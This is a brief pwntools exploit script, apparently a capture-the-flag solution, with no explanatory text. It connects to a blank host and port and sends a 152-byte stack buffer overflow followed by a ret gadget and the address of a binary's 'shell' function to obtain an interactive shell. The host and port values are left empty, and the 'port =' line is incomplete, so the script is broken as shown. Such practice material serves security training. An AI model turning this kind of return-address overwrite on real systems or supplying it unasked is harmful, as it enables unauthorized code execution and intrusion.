from pwn import *
host = ''
port = 
p = remote(host, port)
# p = process('./pwn')
elf = ELF('./pwn')
rop = ROP('./pwn')
ret = rop.find_gadget(['ret']).address
p.sendlineafter('name?\n', '1')
backdoor = elf.sym['shell']
offset = 152
payload = b'a'*(offset) + p64(ret) + p64(backdoor)
p.sendlineafter('you?\n', payload)
p.interactive()